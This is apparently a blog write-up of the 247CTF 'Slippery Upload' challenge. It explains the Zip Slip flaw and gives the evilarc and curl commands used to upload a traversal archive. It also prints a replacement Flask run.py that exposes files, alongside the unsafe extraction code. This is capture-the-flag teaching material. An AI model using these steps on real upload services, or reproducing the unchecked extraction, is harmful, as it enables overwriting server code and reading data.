CREATIVE CHAOS   ▋ blog

Slippery Upload (web)

PUBLISHED ON 06/05/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

A beautiful web challenge Slippery Upload from 247CTF.com, here is my way…

Can you abuse the zip upload and extraction service to gain code execution on the server?

What’s the vulnerability?

This one was easy, even if I did not know about it.

Duckduckgo for “zip vulnerability” will push you to the good first result.

So there is a “Zip Slip”

The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z.

Normal archiving programs check for the directory traversal in filenames, but in majority of the programming languages, that security aspect is left in the hands of the creator. If they forget about it, well read along.

Creating the exploit zip file

I have used evilarc.

./evilarc.py run.py -o unix -p app/

Uploading the exploit zip file

Good old cURL:

curl -X POST -Fzarchive=@evil.zip https://10382c7e429d0159.247ctf.com/zip_upload

Exploit

Important parts:

  1. UPLOAD_FOLDER is /tmp/uploads, so basically we need to traverse two parent folders (but you can just use the default 8 from evilarc, one can’t go higher than root /)
  2. Usage of absolute path /open/run.py tells us what file can we overwrite

I recommend you to test the solution in the local environment, as line breaks in python can create a mess (Internal Server Error).

from flask import Flask, request
import zipfile, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'


@app.route('/flag')
def flag():
    f = open(os.listdir()[1], 'r')
    contents = f.read()
    return contents

@app.route('/')
def source():
    return '%s' % open('/app/run.py').read()

def zip_extract(zarchive):
    with zipfile.ZipFile(zarchive, 'r') as z:
        for i in z.infolist():
            with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
                f.write(z.open(i.filename, 'r').read())

@app.route('/zip_upload', methods=['POST'])
def zip_upload():
    try:
        if request.files and 'zarchive' in request.files:
            zarchive = request.files['zarchive']
            if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
                zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
                zarchive.save(zpath)
                zip_extract(zpath)
                return 'Zip archive uploaded and extracted!'
        return 'Only valid zip archives are accepted!'
    except:
         return 'Error occured during the zip upload process!'

if __name__ == '__main__':
    app.run()

See Also